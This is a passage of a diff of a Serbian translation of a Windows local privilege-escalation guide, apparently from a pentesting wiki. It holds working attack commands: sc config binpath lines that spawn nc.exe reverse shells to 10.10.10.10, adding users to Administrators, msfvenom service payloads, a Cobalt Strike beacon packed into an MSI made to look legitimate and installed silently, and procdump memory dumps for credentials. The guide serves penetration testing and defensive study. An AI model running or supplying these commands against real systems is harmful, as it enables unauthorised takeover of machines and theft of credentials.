are met using **default settings**. +Postoji local privilege escalation ranjivost u Windows domain okruženjima pod specifičnim uslovima. Ti uslovi uključuju okruženja gde LDAP signing nije obavezan, korisnici imaju self-rights koji im omogućavaju da konfigurišu Resource-Based Constrained Delegation (RBCD), i mogućnost da korisnici kreiraju računare u domenu. Važno je napomenuti da su ovi zahtevi ispunjeni pod podrazumevanim podešavanjima. -Pronađite the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the exploit in [https://github.com/Dec0ne/KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) Za više informacija o toku napada pogledajte [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** ova 2 registra su **enabled** (vrednost je **0x1**), onda korisnici bilo kog privilegija mogu da instaliraju (izvrše) `*.msi` fajlove kao NT AUTHORITY\\**SYSTEM**. +**Ako** ove 2 vrednosti registra su **omogućene** (vrednost je **0x1**), onda korisnici bilo kog privilegija mogu **instalirati** (izvršiti) `*.msi` fajlove kao NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -227,22 +236,22 @@ Ako imate meterpreter sesiju, možete automatizovati ovu tehniku koristeći modu ### PowerUP -Koristite komandu `Write-UserAddMSI` iz power-up da kreirate u trenutnom direktorijumu Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript upisuje prekompajlirani MSI installer koji traži dodavanje korisnika/grupe (tako da će vam biti potreban GIU pristup): +Koristite komandu `Write-UserAddMSI` iz power-up da kreirate u trenutnom direktorijumu Windows MSI binarnu datoteku za eskalaciju privilegija. Ovaj skript zapisuje prekompajlirani MSI installer koji traži dodavanje korisnika/grupe (tako da će vam trebati GIU pristup): ``` Write-UserAddMSI ``` -Samo izvršite kreirani binarni fajl da biste eskalirali privilegije. +Samo pokrenite kreirani binarni fajl da biste eskalirali privilegije. ### MSI Wrapper -Pročitajte ovaj tutorijal da naučite kako da kreirate MSI wrapper koristeći ove alate. Imajte na umu da možete obmotati "**.bat**" fajl ako želite **samo** da **izvršavate** **komande**. +Pročitajte ovaj tutorijal da naučite kako da napravite MSI wrapper koristeći ove alate. Imajte na umu da možete umotati "**.bat**" fajl ako **samo** želite da **izvršite** **komandne linije** {{#ref}} msi-wrapper.md {{#endref}} -### Create MSI with WIX +### Kreiranje MSI pomoću WIX {{#ref}} @@ -251,22 +260,22 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- **Generišite** sa Cobalt Strike ili Metasploit **novi Windows EXE TCP payload** u `C:\privesc\beacon.exe` - Otvorite **Visual Studio**, izaberite **Create a new project** i otkucajte "installer" u polje za pretragu. Izaberite **Setup Wizard** projekat i kliknite **Next**. -- Dajte projektu ime, poput **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **place solution and project in the same directory**, i kliknite **Create**. -- Nastavite da klikćete **Next** dok ne dođete do koraka 3 od 4 (choose files to include). Kliknite **Add** i izaberite Beacon payload koji ste upravo generisali. Zatim kliknite **Finish**. -- Selektujte projekat **AlwaysPrivesc** u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**. -- Postoje i druge properties koje možete promeniti, kao što su **Author** i **Manufacturer**, što može učiniti da instalirana aplikacija izgleda legitimnije. +- Dajte projektu ime, na primer **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **place solution and project in the same directory**, i kliknite **Create**. +- Nastavite da klikćete **Next** dok ne dođete do koraka 3 od 4 (izaberite fajlove za uključivanje). Kliknite **Add** i izaberite Beacon payload koji ste upravo generisali. Zatim kliknite **Finish**. +- Istaknite **AlwaysPrivesc** projekat u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**. +- Postoje i druga svojstva koja možete promeniti, kao što su **Author** i **Manufacturer** koja mogu učiniti instaliranu aplikaciju legitimnijom. - Kliknite desnim tasterom na projekat i izaberite **View > Custom Actions**. - Kliknite desnim tasterom na **Install** i izaberite **Add Custom Action**. -- Duplo kliknite na **Application Folder**, izaberite vaš fajl **beacon.exe** i kliknite **OK**. Ovo će osigurati da se beacon payload izvrši čim se installer pokrene. +- Dvaput kliknite na **Application Folder**, izaberite vaš **beacon.exe** fajl i kliknite **OK**. Ovo će osigurati da se beacon payload izvrši čim se instalater pokrene. - U okviru **Custom Action Properties**, promenite **Run64Bit** na **True**. - Na kraju, **build it**. - Ako se prikaže upozorenje `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, uverite se da ste postavili platformu na x64. ### MSI Installation -Da biste izvršili **instalaciju** zlonamernog `.msi` fajla u **pozadini:** +Da biste izvršili **instalaciju** malicioznog `.msi` fajla u **pozadini:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` @@ -274,21 +283,21 @@ Da biste iskoristili ovu ranjivost, možete koristiti: _exploit/windows/local/al ## Antivirus i detektori -### Postavke audita +### Podešavanja audita -Ova podešavanja određuju šta se **zapisuje**, pa treba obratiti pažnju +Ova podešavanja određuju šta se **logged**, pa bi trebalo da obratite pažnju ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — zanimljivo je znati gde se šalju logovi +Windows Event Forwarding — korisno je znati gde se šalju logovi ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** je dizajniran za upravljanje lozinkama lokalnog Administrator naloga, osiguravajući da je svaka lozinka jedinstvena, nasumična i redovno ažurirana na računarima pridruženim domeni. Te lozinke se bezbedno čuvaju u Active Directory i mogu im pristupiti samo korisnici kojima su dodeljena odgovarajuća prava putem ACLs, što im omogućava da, ako su ovlašćeni, pregledaju lozinke lokalnog administratora. +**LAPS** je dizajniran za **upravljanje lozinkama lokalnog Administrator naloga**, obezbeđujući da je svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima pridruženim domenu. Ove lozinke su sigurno pohranjene u Active Directory i mogu im pristupiti samo korisnici kojima su putem ACLs dodeljena dovoljna ovlašćenja, što im omogućava da, ako su autorizovani, pregledaju lozinke lokalnog administratora. {{#ref}} @@ -297,36 +306,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Ako je aktivan, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ -[**Više informacija o WDigest na ovoj stranici**](../stealing-credentials/credentials-protections.md#wdigest). +Ako je aktivan, **plain-text lozinke se čuvaju u LSASS** (Local Security Authority Subsystem Service).\ +[**Više informacija o WDigest-u na ovoj stranici**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Počevši od **Windows 8.1**, Microsoft je uveo pojačanu zaštitu za Local Security Authority (LSA) da **blokira** pokušaje nepouzdanih procesa da **čitaju njegovu memoriju** ili ubrizgavaju kod, dodatno štiteći sistem.\ +Počevši od **Windows 8.1**, Microsoft je uveo poboljšanu zaštitu za Local Security Authority (LSA) kako bi **blokirao** pokušaje nepouzdanih procesa da **čitaju njegovu memoriju** ili ubrizgaju kod, dodatno osiguravajući sistem.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** je uveden u **Windows 10**. Njegova svrha je da zaštiti kredencijale sačuvane na uređaju od pretnji kao što su pass-the-hash napadi.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** je uveden u **Windows 10**. Njegova svrha je da zaštiti credentials pohranjene na uređaju od pretnji kao što su pass-the-hash napadi.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** se autentifikuju od strane **Local Security Authority** (LSA) i koriste ih komponente operativnog sistema. Kada se prijavni podaci korisnika autentifikuju pomoću registrovanog bezbednosnog paketa, obično se za tog korisnika uspostavljaju domain credentials.\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** autentifikuje **Local Security Authority** (LSA) i koriste ih komponente operativnog sistema. Kada su korisnički podaci za logon autentifikovani od strane registrovanog security package-a, obično se uspostavljaju domain credentials za tog korisnika.\ +[**Više informacija o Cached Credentials ovde**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` ## Korisnici i grupe -### Nabrajanje korisnika i grupa +### Enumerišite korisnike i grupe -Trebalo bi da proverite da li neka od grupa kojima pripadate ima zanimljive dozvole +Treba da proverite da li neke od grupa kojima pripadate imaju zanimljive dozvole ```bash # CMD net users %username% #Me @@ -343,7 +352,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Privilegovane grupe -Ako **pripadate nekoj privilegovanoj grupi, možda ćete moći da eskalirate privilegije**. Saznajte o privilegovanim grupama i kako ih zloupotrebiti da biste eskalirali privilegije ovde: +Ako **pripadate nekoj privilegovanoj grupi možda ćete moći da eskalirate privilegije**. Saznajte više o privilegovanim grupama i kako ih zloupotrebiti da biste eskalirali privilegije ovde: {{#ref}} @@ -374,16 +383,16 @@ Get-ChildItem C:\Users ```bash net accounts ``` -### Dohvati sadržaj clipboard-a +### Dohvati sadržaj međuspremnika ```bash powershell -command "Get-Clipboard" ``` ## Pokrenuti procesi -### Dozvole za fajlove i foldere +### Dozvole fajlova i foldera -Prvo, prilikom listanja procesa, **proverite da li se u komandnoj liniji procesa nalaze lozinke**.\ -Proverite da li možete **prepisati neki pokrenuti binarni fajl** ili da li imate dozvole za upis u folder binarnih fajlova kako biste iskoristili moguće [**DLL Hijacking attacks**](dll-hijacking/index.html): +Prvo, pri listanju procesa **proverite da li se lozinke nalaze u command line-u procesa**.\ +Proverite da li možete **overwrite some binary running** ili da li imate write permissions nad binary folder-om da biste iskoristili moguće [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,9 +403,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Uvek proverite da li se pokreću [**electron/cef/chromium debuggers** — možete ih zloupotrebiti za eskalaciju privilegija](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Uvek proverite da li rade [**electron/cef/chromium debuggers** — možete ih zloupotrebiti za eskalaciju privilegija](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Provera dozvola binaries procesa** +**Provera dozvola binarnih fajlova procesa** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -405,7 +414,7 @@ icacls "%%z" ) ) ``` -**Provera dozvola direktorijuma binarnih fajlova procesa (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Provera dozvola foldera koji sadrže binarne fajlove procesa (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -415,19 +424,19 @@ todos %username%" && echo. ``` ### Memory Password mining -Možete napraviti memory dump pokrenutog procesa koristeći **procdump** iz sysinternals. Servisi poput FTP imaju **credentials in clear text in memory**, pokušajte napraviti memory dump i pročitati credentials. +Možete napraviti memory dump pokrenutog procesa koristeći **procdump** iz sysinternals. Servisi poput FTP-a često imaju **credentials in clear text in memory**; pokušajte da dump-ujete memoriju i pročitate credentials. ```bash procdump.exe -accepteula -ma ``` -### Nezaštićene GUI aplikacije +### Nesigurne GUI aplikacije -**Aplikacije koje rade kao SYSTEM mogu omogućiti korisniku da pokrene CMD, ili pregleda direktorijume.** +**Aplikacije koje se pokreću kao SYSTEM mogu dozvoliti korisniku da pokrene CMD ili pregleda direktorijume.** Primer: "Windows Help and Support" (Windows + F1), potražite "command prompt", kliknite na "Click to open Command Prompt" ## Servisi -Prikažite listu servisa: +Dobijte listu servisa: ```bash net start wmic service list brief @@ -440,11 +449,11 @@ Možete koristiti **sc** da dobijete informacije o servisu ```bash sc qc ``` -Preporučuje se imati binarni **accesschk** iz _Sysinternals_ za proveru potrebnog nivoa privilegija za svaki servis. +Preporučuje se da imate binarnu datoteku **accesschk** iz _Sysinternals_ da biste proverili potreban nivo privilegija za svaku uslugu. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Preporučuje se proveriti da li "Authenticated Users" mogu da izmene bilo koju uslugu: +Preporučuje se proveriti da li "Authenticated Users" mogu izmeniti bilo koji servis: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -453,27 +462,27 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Omogućavanje servisa +### Omogući servis -Ako dobijate ovu grešku (na primer sa SSDPSRV): +Ako imate ovu grešku (na primer sa SSDPSRV): -_System error 1058 has occurred._\ -_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ +_Dogodila se sistemska greška 1058._\ +_Servis ne može da se pokrene, bilo zato što je onemogućen, bilo zato što nema povezanih omogućenih uređaja._ Možete ga omogućiti koristeći ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Imajte u vidu da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)** +**Imajte na umu da servis upnphost zavisi od SSDPSRV da bi funkcionisao (za XP SP1)** **Još jedno zaobilazno rešenje** ovog problema je pokretanje: ``` sc.exe config usosvc start= auto ``` -### **Modify service binary path** +### **Izmeni putanju izvršnog fajla servisa** -U scenariju u kome grupa "Authenticated users" ima **SERVICE_ALL_ACCESS** nad servisom, moguće je izmeniti izvršni binarni fajl servisa. Da biste izmenili i pokrenuli **sc**: +U scenariju kada grupa "Authenticated users" ima **SERVICE_ALL_ACCESS** nad servisom, moguće je izmeniti izvršni binarni fajl servisa. Da biste izmenili i pokrenuli **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -481,25 +490,25 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### Ponovo pokreni servis +### Ponovno pokretanje servisa ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privilegije se mogu eskalirati pomoću različitih dozvola: +Privilegije se mogu eskalirati kroz različite dozvole: -- **SERVICE_CHANGE_CONFIG**: Omogućava rekonfiguraciju binarne datoteke servisa. -- **WRITE_DAC**: Omogućava ponovno podešavanje dozvola, što može dovesti do mogućnosti izmene konfiguracija servisa. -- **WRITE_OWNER**: Dozvoljava preuzimanje vlasništva i ponovno podešavanje dozvola. +- **SERVICE_CHANGE_CONFIG**: Omogućava rekonfiguraciju binarnog fajla servisa. +- **WRITE_DAC**: Omogućava promenu dozvola, što dovodi do mogućnosti izmene konfiguracija servisa. +- **WRITE_OWNER**: Dozvoljava preuzimanje vlasništva i promenu dozvola. - **GENERIC_WRITE**: Nasleđuje mogućnost izmene konfiguracija servisa. - **GENERIC_ALL**: Takođe nasleđuje mogućnost izmene konfiguracija servisa. Za detekciju i eksploataciju ove ranjivosti može se koristiti _exploit/windows/local/service_permissions_. -### Slabe dozvole za servisne binarne datoteke +### Slabe dozvole binarnih fajlova servisa -**Proverite da li možete izmeniti binarni fajl koji servis pokreće** ili da li imate **dozvole za pisanje na folder** gde se binarni fajl nalazi ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Možete dobiti sve binarne fajlove koje servis izvršava koristeći **wmic** (not in system32) i proveriti svoje dozvole koristeći **icacls**: +**Proverite da li možete izmeniti binarni fajl koji servis izvršava** ili da li imate **dozvole za pisanje na folder** gde se binarni fajl nalazi ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Možete dobiti svaki binarni fajl koji servis izvršava koristeći **wmic** (not in system32) i proveriti svoje dozvole koristeći **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -511,10 +520,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Dozvole za izmene u registru servisa +### Modifikovanje dozvola service registry -Trebalo bi da proverite da li možete da izmenite bilo koji registar servisa.\ -Možete **proveriti** svoje **dozvole** nad registrom servisa tako što ćete: +Trebate da proverite da li možete da modifikujete bilo koji service registry.\ +Možete **proveriti** svoje **dozvole** nad service **registry** tako što ćete: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,15 +532,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Potrebno je proveriti da li **Authenticated Users** ili **NT AUTHORITY\INTERACTIVE** poseduju `FullControl` dozvole. Ako je tako, binarni fajl koji servis pokreće može biti izmenjen. +Trebalo bi proveriti da li **Authenticated Users** ili **NT AUTHORITY\INTERACTIVE** poseduju `FullControl` dozvole. Ako je tako, binarni fajl koji servis izvršava može biti izmenjen. Da biste promenili putanju binarnog fajla koji se izvršava: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Dozvole AppendData/AddSubdirectory nad registrom servisa +### Dozvole AppendData/AddSubdirectory nad registrima servisa -Ako imate ovu dozvolu nad registrom, to znači da **možete kreirati podregistre iz ovog**. U slučaju Windows servisa ovo je **dovoljno za izvršavanje proizvoljnog koda:** +Ako imate ovu dozvolu nad registrom, to znači da **možete kreirati pod-registre iz ovog**. U slučaju Windows servisa, ovo je **dovoljno za izvršavanje proizvoljnog koda:** {{#ref}} @@ -540,15 +549,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Putanje servisa bez navodnika -Ako putanja do izvršne datoteke nije u navodnicima, Windows će pokušati da izvrši svaki deo pre razmaka. +Ako putanja do izvršne datoteke nije u navodnicima, Windows će pokušati da izvrši svaku verziju puta presečenu pre svakog razmaka. -Na primer, za putanju _C:\Program Files\Some Folder\Service.exe_ Windows će pokušati da izvrši: +For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Navedi sve unquoted service paths, isključujući one koji pripadaju ugrađenim Windows servisima: +Navedi sve unquoted service paths, izuzev onih koji pripadaju ugrađenim Windows servisima: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -568,19 +577,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Možete otkriti i iskoristiti** ovu ranjivost koristeći metasploit: `exploit/windows/local/trusted\_service\_path` Možete ručno kreirati service binary koristeći metasploit: +**Možete detektovati i iskoristiti** ovu ranjivost pomoću metasploit: `exploit/windows/local/trusted\_service\_path` Možete ručno kreirati service binary pomoću metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### Akcije oporavka +### Radnje oporavka -Windows omogućava korisnicima da odrede akcije koje će se preduzeti ako servis zakaže. Ova funkcionalnost može biti konfigurisana da pokazuje na binary. Ako je taj binary zamenljiv, može biti moguće privilege escalation. Više detalja možete pronaći u [official documentation](). +Windows omogućava korisnicima da odrede radnje koje će se preduzeti ako servis zakaže. Ova funkcionalnost se može konfigurirati da pokazuje na binary. Ako se ovaj binary može zameniti, moguće je privilege escalation. Više detalja možete pronaći u [službenoj dokumentaciji](). ## Aplikacije ### Instalirane aplikacije -Proverite **permissions of the binaries** (maybe you can overwrite one and escalate privileges) i **folders** ([DLL Hijacking](dll-hijacking/index.html)). +Proverite **permissions of the binaries** (možda možete overwrite jedan i escalate privileges) i **foldera** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -591,9 +600,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Dozvole za pisanje -Proverite možete li izmeniti neki config file da biste pročitali neku posebnu datoteku ili možete li izmeniti neki binary koji će biti izvršen od strane Administrator account (schedtasks). +Proverite da li možete izmeniti neki config fajl da biste pročitali neki poseban fajl ili da li možete izmeniti neki binarni fajl koji će biti izvršen pod Administrator account (schedtasks). -Jedan način da pronađete slabe dozvole na folderima/datotekama u sistemu je sledeći: +Jedan način da pronađete slabe dozvole za foldere/fajlove u sistemu je sledeći: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -616,11 +625,10 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Automatsko pokretanje - -**Proveri da li možeš da prepišeš neki registry ili binary koji će biti izvršen od strane drugog korisnika.**\ -**Pročitaj** **sledeću stranicu** da saznaš više o zanimljivim **autoruns locations to escalate privileges**: +### Pokretanje pri startu sistema +**Proverite da li možete prepisati neki registry ili binary koji će biti izvršen od strane drugog korisnika.**\ +**Pročitajte** **sledeću stranicu** da biste saznali više o interesantnim **autoruns locations to escalate privileges**: {{#ref}} privilege-escalation-with-autorun-binaries.md @@ -628,13 +636,13 @@ privilege-escalation-with-autorun-binaries.md ### Drajveri -Potraži moguće **third party weird/vulnerable** drajvere +Potražite moguće **drajvere trećih strana koji su čudni/ranjivi** ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here: +Ako driver izlaže arbitrary kernel read/write primitive (uobičajeno kod loše dizajniranih IOCTL handlers), možete eskalirati krađom SYSTEM token-a direktno iz kernel memory. Pogledajte tehniku korak po korak ovde: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -643,14 +651,13 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Ako imate **prava za pisanje u direktorijumu koji se nalazi u PATH** možete preoteti DLL koji učitava proces i **eskalirati privilegije**. +Ako imate **dozvole za pisanje u fascikli koja se nalazi na PATH** mogli biste hijackovati DLL koji učitava proces i time **eskalirati privilegije**. -Proverite dozvole svih direktorijuma koji su u PATH: +Proverite dozvole svih fascikli unutar PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Za više informacija o tome kako zloupotrebiti ovu proveru: - +Za više informacija o tome kako iskoristiti ovu proveru: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -668,7 +675,7 @@ net share #Check current shares ``` ### hosts file -Proverite da li su u hosts file hardkodirani drugi poznati računari. +Proverite da li su drugi poznati računari hardcoded u hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -680,7 +687,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Otvoreni portovi -Proverite postojanje **servisa sa ograničenim pristupom** iz spoljašnjosti +Proverite da li su **usluge sa ograničenim pristupom** dostupne spolja. ```bash netstat -ano #Opened ports? ``` @@ -694,20 +701,20 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Pravila Firewall-a +### Firewall Pravila -[**Pogledaj ovu stranicu za komande vezane za Firewall**](../basic-cmd-for-pentesters.md#firewall) **(pokaži pravila, kreiraj pravila, isključi, isključi...)** +[**Proverite ovu stranicu za Firewall komande**](../basic-cmd-for-pentesters.md#firewall) **(lista pravila, kreiranje pravila, isključivanje, isključivanje...)** -Više[ komandi za network enumeration ovde](../basic-cmd-for-pentesters.md#network) +Više [commands for network enumeration here](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Binarna datoteka `bash.exe` se takođe može naći u `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` +Binarni `bash.exe` se takođe može naći u `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Ako dobijete root pristup, možete slušati na bilo kom portu (prvi put kada koristite `nc.exe` za slušanje na portu, GUI će pitati da li `nc` treba da bude dozvoljen od strane firewall-a). +Ako dobijete root pristup, možete slušati na bilo kom portu (prvi put kada koristite `nc.exe` da slušate na portu, pitaće putem GUI da li `nc` treba da bude dozvoljen od strane firewall-a). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -732,16 +739,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Credentials manager / Windows vault +### Upravljač kredencijalima / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault čuva korisničke akreditive za servere, web-sajtove i druge programe za koje **Windows** može da se **automatski prijavi korisnicima**. Na prvi pogled može izgledati da korisnici mogu da sačuvaju svoje Facebook credentials, Twitter credentials, Gmail credentials itd., kako bi se automatski prijavljivali preko pregledača. Ali to nije tako. +Windows Vault čuva korisničke kredencijale za servere, web-sajtove i druge programe za koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled to može delovati kao da korisnici mogu sačuvati svoje Facebook, Twitter, Gmail kredencijale itd., kako bi se automatski prijavljivali preko browsera. Ali nije tako. -Windows Vault čuva akreditive koje Windows može automatski koristiti za prijavu korisnika, što znači da bilo koja **Windows aplikacija koja treba akreditive za pristup resursu** (serveru ili web-sajtu) **može da koristi ovaj Credential Manager** & Windows Vault i iskoristi sačuvane akreditive umesto da korisnici stalno unose korisničko ime i lozinku. +Windows Vault čuva kredencijale koje **Windows** može koristiti za automatsko prijavljivanje korisnika, što znači da svaka **Windows aplikacija koja zahteva kredencijale za pristup resursu** (server ili web-sajt) **može koristiti ovaj Credential Manager** i Windows Vault i iskoristiti dostavljene kredencijale umesto da korisnici stalno unose korisničko ime i lozinku. -Osim ako aplikacije ne interaguju sa Credential Manager-om, mislim da nije moguće da koriste akreditive za dati resurs. Dakle, ako vaša aplikacija želi da koristi vault, trebalo bi na neki način da **komunicira sa credential manager-om i zatraži akreditive za taj resurs** iz podrazumevanog skladišnog vault-a. +Ako aplikacije ne komuniciraju sa Credential Manager, mislim da im nije moguće da koriste kredencijale za određeni resurs. Dakle, ako vaša aplikacija želi da iskoristi vault, treba nekako **da komunicira sa Credential Manager i zatraži kredencijale za taj resurs** iz podrazumevanog storage vault-a. -Koristite `cmdkey` da biste izlistali sačuvane akreditive na računaru. +Koristite `cmdkey` da prikažete sačuvane kredencijale na mašini. ```bash cmdkey /list Currently stored credentials: @@ -749,11 +756,11 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Zatim možete koristiti `runas` sa opcijom `/savecred` da biste koristili sačuvane kredencijale. Sledeći primer poziva udaljeni binarni fajl putem SMB share-a. +Zatim možete koristiti `runas` sa opcijom `/savecred` kako biste koristili sačuvane kredencijale. Sledeći primer poziva udaljeni binarni fajl putem SMB share-a. 